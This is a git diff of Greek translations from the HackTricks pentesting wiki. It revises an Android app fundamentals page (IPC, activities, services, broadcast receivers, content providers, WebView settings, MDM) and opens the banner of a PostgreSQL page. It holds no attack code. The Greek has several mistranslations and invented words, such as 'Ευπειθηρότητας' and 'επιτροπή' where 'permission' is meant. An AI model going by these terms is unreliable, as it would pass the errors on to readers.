* **Messenger**: Λειτουργώντας ως συνδεδεμένη υπηρεσία, ο Messenger διευκολύνει το IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι ουσιώδες να ελέγξετε προσεκτικά αυτήν τη μέθοδο για οποιαδήποτε μη ασφαλή χειρισμό δεδομένων ή εκτέλεση ευαίσθητων λειτουργιών.
|
||||
* **Binder**: Παρόλο που η άμεση χρήση της κλάσης Binder είναι λιγότερο συνηθισμένη λόγω της αφαίρεσης της AIDL, είναι χρήσιμο να κατανοήσετε ότι ο Binder λειτουργεί ως οδηγός σε επίπεδο πυρήνα που διευκολύνει τη μεταφορά δεδομένων μεταξύ των χώρων μνήμης διαφορετικών διεργασιών. Για περισσότερη κατανόηση, υπάρχει ένας πόρος στο [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Υπηρεσίες που είναι συνδεδεμένες**: Αυτές οι υπηρεσίες χρησιμοποιούν την AIDL για IPC, επιτρέποντας σε δραστηριότητες ή στοιχεία να συνδέονται με μια υπηρεσία, να κάνουν αιτήσεις και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την έναν ζωτικό τομέα για αναθεώρηση ασφάλειας ώστε να αναζητηθούν ευπάθειες.
|
||||
|
||||
- **Messenger**: Λειτουργώντας ως συνδεδεμένη υπηρεσία, ο Messenger διευκολύνει το IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι ουσιώδες να ελέγξετε προσεκτικά αυτήν τη μέθοδο για οποιαδήποτε μη ασφαλή χειρισμό δεδομένων ή εκτέλεση ευαίσθητων λειτουργιών.
|
||||
|
||||
- **Binder**: Παρόλο που η άμεση χρήση της κλάσης Binder είναι λιγότερο συνηθισμένη λόγω της αφαίρεσης της AIDL, είναι χρήσιμο να κατανοήσετε ότι ο Binder λειτουργεί ως οδηγός σε επίπεδο πυρήνα που διευκολύνει τη μεταφορά δεδομένων μεταξύ των χώρων μνήμης διαφορετικών διεργασιών. Για περισσότερη κατανόηση, υπάρχει ένας πόρος στο [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Στοιχεία
|
||||
|
||||
|
@ -227,10 +212,9 @@ android:host="example"
|
|||
|
||||
### Δραστηριότητες εκκίνησης και άλλες δραστηριότητες
|
||||
|
||||
Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, που εμφανίζουν διαφορετικά τμήματα της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία παρουσιάζοντας μια μοναδική οθόνη στον χρήστη.
|
||||
|
||||
Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη εισόδου σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Ορίζεται στο αρχείο με τις δηλώσεις της εφαρμογής με συγκεκριμένες προθέσεις MAIN και LAUNCHER:
|
||||
Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, εμφανίζοντας διαφορετικά τμήματα της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία παρουσιάζοντας μια μοναδική οθόνη στον χρήστη.
|
||||
|
||||
Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη εισόδου σε μια εφαρμογή, εκκινούμενη όταν πατάτε το εικονίδιο της εφαρμογής. Ορίζεται στο αρχείο με τις δηλώσεις της εφαρμογής με συγκεκριμένες προθέσεις MAIN και LAUNCHER:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -239,23 +223,19 @@ android:host="example"
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
Δεν όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές που δεν έχουν διεπαφή χρήστη, όπως οι υπηρεσίες φόντου.
|
||||
|
||||
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διεργασίες σημειώνοντάς τες ως "εξαγωγή" στον πίνακα. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινήσουν αυτήν τη δραστηριότητα:
|
||||
|
||||
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διεργασίες επισημαίνοντάς τες ως "εξαγωγή" στον πίνακα. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινήσουν αυτήν τη δραστηριότητα:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Ωστόσο, η πρόσβαση σε μια δραστηριότητα από μια άλλη εφαρμογή δεν αποτελεί πάντα κίνδυνο για την ασφάλεια. Η ανησυχία προκύπτει εάν ευαίσθητα δεδομένα κοινοποιούνται εσφαλμένα, κάτι που θα μπορούσε να οδηγήσει σε διαρροές πληροφοριών.
|
||||
|
||||
Ωστόσο, η πρόσβαση σε μια δραστηριότητα από μια άλλη εφαρμογή δεν αποτελεί πάντα κίνδυνο για την ασφάλεια. Η ανησυχία προκύπτει εάν ευαίσθητα δεδομένα μοιράζονται εσφαλμένα, κάτι που θα μπορούσε να οδηγήσει σε διαρροές πληροφοριών.
|
||||
|
||||
Το **κύκλο ζωής μιας δραστηριότητας** ξεκινά με τη μέθοδο **onCreate**, δημιουργώντας το UI και προετοιμάζοντας τη δραστηριότητα για αλληλεπίδραση με τον χρήστη.
|
||||
Η διαδικασία ζωής μιας δραστηριότητας **ξεκινά με τη μέθοδο onCreate**, δημιουργώντας το UI και προετοιμάζοντας τη δραστηριότητα για αλληλεπίδραση με τον χρήστη.
|
||||
|
||||
### Υποκλάση Εφαρμογής
|
||||
|
||||
Στην ανάπτυξη Android, μια εφαρμογή έχει τη δυνατότητα να δημιουργήσει μια **υποκλάση** της κλάσης [Application](https://developer.android.com/reference/android/app/Application), αν και δεν είναι υποχρεωτικό. Όταν ορίζεται μια τέτοια υποκλάση, γίνεται η πρώτη κλάση που δημιουργείται στην εφαρμογή. Η μέθοδος **`attachBaseContext`**, εάν υλοποιηθεί σε αυτή την υποκλάση, εκτελείται πριν τη μέθοδο **`onCreate`**. Αυτή η ρύθμιση επιτρέπει την πρώιμη αρχικοποίηση πριν ξεκινήσει η υπόλοιπη εφαρμογή.
|
||||
|
||||
Στην ανάπτυξη Android, μια εφαρμογή έχει τη δυνατότητα να δημιουργήσει μια **υποκλάση** της [Κλάσης Εφαρμογής](https://developer.android.com/reference/android/app/Application), αν και δεν είναι υποχρεωτικό. Όταν ορίζεται μια τέτοια υποκλάση, γίνεται η πρώτη κλάση που δημιουργείται στην εφαρμογή. Η μέθοδος **`attachBaseContext`**, εάν υλοποιηθεί σε αυτή την υποκλάση, εκτελείται πριν τη μέθοδο **`onCreate`**. Αυτή η ρύθμιση επιτρέπει την πρώιμη αρχικοποίηση πριν ξεκινήσει η υπόλοιπη εφαρμογή.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -271,28 +251,25 @@ super.onCreate();
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Υπηρεσίες
|
||||
|
||||
[Οι υπηρεσίες](https://developer.android.com/guide/components/services) είναι **φόντο λειτουργοί** ικανοί να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να εκτελούνται ακόμα και όταν οι χρήστες μεταβαίνουν σε διαφορετικές εφαρμογές, κάνοντας τις υπηρεσίες κρίσιμες για **εργασίες μεγάλης διάρκειας**.
|
||||
[Οι υπηρεσίες](https://developer.android.com/guide/components/services) είναι **φόντο λειτουργοί** ικανοί να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να εκτελούνται ακόμα και όταν οι χρήστες μεταβαίνουν σε διαφορετικές εφαρμογές, κάνοντας τις υπηρεσίες κρίσιμες για **εργασίες με μεγάλη διάρκεια**.
|
||||
|
||||
Οι υπηρεσίες είναι ευέλικτες. Μπορούν να εκκινηθούν με διάφορους τρόπους, με τα **Intents** να είναι ο κύριος τρόπος εκκίνησής τους ως σημείο εισόδου μιας εφαρμογής. Μόλις μια υπηρεσία ξεκινήσει χρησιμοποιώντας τη μέθοδο `startService`, η μέθοδος `onStart` της ενεργοποιείται και συνεχίζει να εκτελείται μέχρι να κληθεί εκ των υστέρων η μέθοδος `stopService`. Εναλλακτικά, αν ο ρόλος μιας υπηρεσίας εξαρτάται από μια ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος `bindService` για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο `onBind` για τη μετάδοση δεδομένων.
|
||||
|
||||
Ένα ενδιαφέρον παράδειγμα χρήσης των υπηρεσιών περιλαμβάνει την αναπαραγωγή μουσικής στο φόντο ή τη λήψη δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με μια εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες σε άλλες διεργασίες στην ίδια συσκευή μέσω της **εξαγωγής**. Αυτή δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί σαφή ρύθμιση στο αρχείο Android Manifest:
|
||||
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### Ανακοινωτές Εκπομπής
|
||||
|
||||
### Αποδέκτες Εκπομπής
|
||||
Οι **ανακοινωτές εκπομπής** λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκριθούν στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν ανακοινωτή** με **δύο κύριους τρόπους**: μέσω του **Μανιφέστου** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του API **`registerReceiver`**. Στο Μανιφέστο, οι εκπομπές φιλτράρονται με δικαιώματα, ενώ οι δυναμικά καταχωρημένοι ανακοινωτές μπορούν επίσης να καθορίσουν δικαιώματα κατά την καταχώρηση.
|
||||
|
||||
Οι **αποδέκτες εκπομπής** λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκρίνονται στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν αποδέκτη** με **δύο βασικούς τρόπους**: μέσω του **Μανιφέστου** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του API **`registerReceiver`**. Στο Μανιφέστο, οι εκπομπές φιλτράρονται με δικαιώματα, ενώ οι δυναμικά καταχωρημένοι αποδέκτες μπορούν επίσης να καθορίσουν δικαιώματα κατά την καταχώρηση.
|
||||
Οι **φίλτρα Intent** είναι κρίσιμα σε και τους δύο τρόπους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον ανακοινωτή. Μόλα που στάλθηκε μια αντιστοιχίζουσα εκπομπή, ενεργοποιείται η μέθοδος **`onReceive`** του ανακοινωτή, επιτρέποντας στην εφαρμογή να αντιδράσει ανάλογα, όπως προσαρμογή της συμπεριφοράς σε απάντηση σε μια ειδοποίηση χαμηλής μπαταρίας.
|
||||
|
||||
Οι **φίλτρα προθέσεων** είναι κρίσιμα σε και τους δύο τρόπους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον αποδέκτη. Μόλα που στάλθηκε μια αντίστοιχη εκπομπή, ενεργοποιείται η μέθοδος **`onReceive`** του αποδέκτη, επιτρέποντας στην εφαρμογή να αντιδράσει ανάλογα, όπως προσαρμογή της συμπεριφοράς σε απάντηση σε μια χαμηλή ειδοποίηση μπαταρίας.
|
||||
Οι εκπομπές μπορούν να είναι είτε **ασύγχρονες**, φτάνοντας σε όλους τους ανακοινωτές χωρίς σειρά, είτε **σύγχρονες**, όπου οι ανακοινωτές λαμβάνουν την εκπομπή με βάση τις καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο δυνητικός κίνδυνος για την ασφάλεια, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει προτεραιότητα στον εαυτό της για να παρεμβαίνει σε μια εκπομπή.
|
||||
|
||||
Οι εκπομπές μπορούν να είναι είτε **ασύγχρονες**, φτάνοντας σε όλους τους αποδέκτες χωρίς σειρά, είτε **σύγχρονες**, όπου οι αποδέκτες λαμβάνουν την εκπομπή με βάση τις καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο δυνητικός κίνδυνος για την ασφάλεια, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει προτεραιότητα στον εαυτό της για να παρεμβεί σε μια εκπομπή.
|
||||
|
||||
Για να κατανοήσετε τη λειτουργικότητα ενός αποδέκτη, αναζητήστε τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να τροποποιήσει την ληφθείσα Πρόθεση, υπογραμμίζοντας την ανάγκη επικύρωσης δεδομένων από τους αποδέκτες, ειδικά σε **Ταξινομημένες Εκπομπές**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν την Πρόθεση.
|
||||
Για να κατανοήσετε τη λειτουργικότητα ενός ανακοινωτή, αναζητήστε τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να χειριστεί το ληφθέν Intent, υπογραμμίζοντας την ανάγκη επικύρωσης δεδομένων από τους ανακοινωτές, ειδικά σε **Ταξινομημένες Εκπομπές**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν το Intent.
|
||||
|
||||
### Πάροχοι Περιεχομένου
|
||||
|
||||
|
@ -303,7 +280,6 @@ super.onCreate();
|
|||
**FileProvider**, ένας εξειδικευμένος Πάροχος Περιεχομένου, επικεντρώνεται στον ασφαλή διαμοιρασμό αρχείων. Ορίζεται στο μανιφέστο της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο της πρόσβασης σε φακέλους, που υποδεικνύονται από τα `android:exported` και `android:resource` που δείχνουν σε ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά τον διαμοιρασμό καταλόγων για να αποφευχθεί η αποκάλυψη ευαίσθητων δεδομένων κατά λάθος.
|
||||
|
||||
Παράδειγμα δήλωσης μανιφέστου για το FileProvider:
|
||||
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -313,55 +289,49 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
|
||||
Και ένα παράδειγμα καθορισμού κοινόχρηστων φακέλων στο `filepaths.xml`:
|
||||
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
* [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
* [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
Τα WebViews είναι σαν **μικροσκοπικοί web browsers** μέσα σε εφαρμογές Android, εμφανίζοντας περιεχόμενο είτε από το web είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς browsers, ωστόσο υπάρχουν τρόποι για να **μειωθούν αυτοί οι κίνδυνοι** μέσω συγκεκριμένων **ρυθμίσεων**.
|
||||
Τα WebViews είναι σαν **μικροί web browsers** μέσα σε εφαρμογές Android, εμφανίζοντας περιεχόμενο είτε από το web είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς browsers, ωστόσο υπάρχουν τρόποι για να **μειωθούν αυτοί οι κίνδυνοι** μέσω συγκεκριμένων **ρυθμίσεων**.
|
||||
|
||||
Το Android προσφέρει δύο κύριους τύπους WebView:
|
||||
|
||||
* Ο **WebViewClient** είναι ιδανικός για βασικό HTML αλλά δεν υποστηρίζει τη λειτουργία ειδοποίησης JavaScript, επηρεάζοντας τον τρόπο που μπορούν να δοκιμαστούν οι επιθέσεις XSS.
|
||||
* Ο **WebChromeClient** λειτουργεί περισσότερο σαν την πλήρη εμπειρία του πλοηγού Chrome.
|
||||
- Ο **WebViewClient** είναι ιδανικός για βασικό HTML αλλά δεν υποστηρίζει τη λειτουργία ειδοποίησης JavaScript, επηρεάζοντας τον τρόπο που μπορούν να δοκιμαστούν οι επιθέσεις XSS.
|
||||
- Ο **WebChromeClient** λειτουργεί περισσότερο σαν την πλήρη εμπειρία του πλοηγού Chrome.
|
||||
|
||||
Ένα σημαντικό σημείο είναι ότι οι browsers των WebViews **δεν μοιράζονται cookies** με τον κύριο browser της συσκευής.
|
||||
Ένα σημαντικό σημείο είναι ότι οι WebView browsers **δεν μοιράζονται cookies** με τον κύριο browser της συσκευής.
|
||||
|
||||
Για τη φόρτωση περιεχομένου, διατίθενται μέθοδοι όπως η `loadUrl`, `loadData`, και `loadDataWithBaseURL`. Είναι κρίσιμο να εξασφαλίσετε ότι αυτά τα URLs ή αρχεία είναι **ασφαλή για χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης `WebSettings`. Για παράδειγμα, η απενεργοποίηση του JavaScript με την εντολή `setJavaScriptEnabled(false)` μπορεί να αποτρέψει επιθέσεις XSS.
|
||||
Για τη φόρτωση περιεχομένου, διατίθενται μέθοδοι όπως η ````loadUrl````, ````loadData```` και ````loadDataWithBaseURL````. Είναι κρίσιμο να εξασφαλίσετε ότι αυτά τα URLs ή αρχεία είναι **ασφαλή για χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης ````WebSettings````. Για παράδειγμα, η απενεργοποίηση του JavaScript με την εντολή ````setJavaScriptEnabled(false)```` μπορεί να αποτρέψει επιθέσεις XSS.
|
||||
|
||||
Η JavaScript "Bridge" επιτρέπει σε αντικείμενα Java να αλληλεπιδρούν με το JavaScript, απαιτώντας οι μέθοδοι να επισημαίνονται με το `@JavascriptInterface` για ασφάλεια από το Android 4.2 και μετά.
|
||||
Η γέφυρα JavaScript επιτρέπει στα αντικείμενα Java να αλληλεπιδρούν με το JavaScript, απαιτώντας οι μέθοδοι να επισημαίνονται με το ````@JavascriptInterface```` για ασφάλεια από το Android 4.2 και μετά.
|
||||
|
||||
Η επιτροπή πρόσβασης περιεχομένου (`setAllowContentAccess(true)`) επιτρέπει στις WebViews να φτάσουν τους Content Providers, που θα μπορούσε να αποτελέσει κίνδυνο εκτός αν οι διευθύνσεις URL του περιεχομένου επαληθευτούν ως ασφαλείς.
|
||||
Η επιτροπή πρόσβασης περιεχομένου (````setAllowContentAccess(true)````) επιτρέπει στις WebViews να φτάσουν τους Content Providers, που θα μπορούσε να αποτελέσει κίνδυνο εκτός αν επαληθευτούν τα URLs του περιεχομένου ως ασφαλή.
|
||||
|
||||
Για τον έλεγχο της πρόσβασης σε αρχεία:
|
||||
|
||||
* Η απενεργοποίηση της πρόσβασης σε αρχεία (`setAllowFileAccess(false)`) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για συγκεκριμένα αρχεία, εξασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη-ευαίσθητο περιεχόμενο.
|
||||
- Η απενεργοποίηση της πρόσβασης σε αρχεία (````setAllowFileAccess(false)````) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για συγκεκριμένα assets, εξασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη-ευαίσθητο περιεχόμενο.
|
||||
|
||||
## Άλλα Στοιχεία Εφαρμογών και Διαχείρισης Κινητών Συσκευών
|
||||
|
||||
### **Ψηφιακή Υπογραφή Εφαρμογών**
|
||||
|
||||
* Η **ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, εξασφαλίζοντας ότι είναι **αυθεντικά υπογεγραμμένες** πριν την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την ταυτοποίηση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερική αρχή πιστοποίησης**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και εξασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
|
||||
- Η **ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, εξασφαλίζοντας ότι είναι **αυθεντικά υπογεγραμμένες** πριν την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την ταυτοποίηση της εφαρμογής και πρέπει να επαληθεύεται από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερική αρχή**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και εξασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
|
||||
|
||||
### **Επαλήθευση Εφαρμογών για Ενισχυμένη Ασφάλεια**
|
||||
|
||||
* Ξεκινώντας από την **Android 4.2**, μια λειτουργία με το όνομα **Επαλήθευση Εφαρμογών** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανά επικίνδυνες εφαρμογές, ή ακόμα και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, βελτιώνοντας την ασφάλεια του χρήστη.
|
||||
- Ξεκινώντας από το **Android 4.2**, μια λειτουργία που ονομάζεται **Επαλήθευση Εφαρμογών** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανά επικίνδυνες εφαρμογές, ή ακόμα και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, βελτιώνοντας την ασφάλεια του χρήστη.
|
||||
|
||||
### **Διαχείριση Κινητών Συσκευών (MDM)**
|
||||
|
||||
* Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **API Διαχείρισης Συσκευών**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για την αποτελεσματική διαχείριση και ασφάλεια των κινητών συσκευών. Κύριες λειτουργίες περιλαμβάνουν την **επιβολή πολιτικών κωδικών πρόσβασης**, την **υποχρέωση κρυπτογράφησης αποθήκευσης**, και την **επιτροπή απομακρυσμένης διαγραφής δεδομένων**, εξασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω από τις κινητές συσκευές.
|
||||
|
||||
- Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **API Διαχείρισης Συσκευών**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για την αποτελεσματική διαχείριση και ασφάλιση κινητών συσκευών. Κύριες λειτουργίες περιλαμβάνουν την **επιβολή πολιτικών κωδικών πρόσβασης**, την **υποχρέωση κρυπτογράφησης αποθήκευσης** και την **επιτροπή απομάκρυνσης δεδομένων**, εξασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω στις κινητές συσκευές.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -372,23 +342,22 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
|
||||
**Ομάδα Ασφαλείας Try Hard**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# 5432,5433 - Ελέγχος Εισβολής PostgreSQL
|
||||
# 5432,5433 - Ελέγχος Ευπειθηρότητας PostgreSQL
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|
||||
|
@ -17,14 +17,14 @@
|
|||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
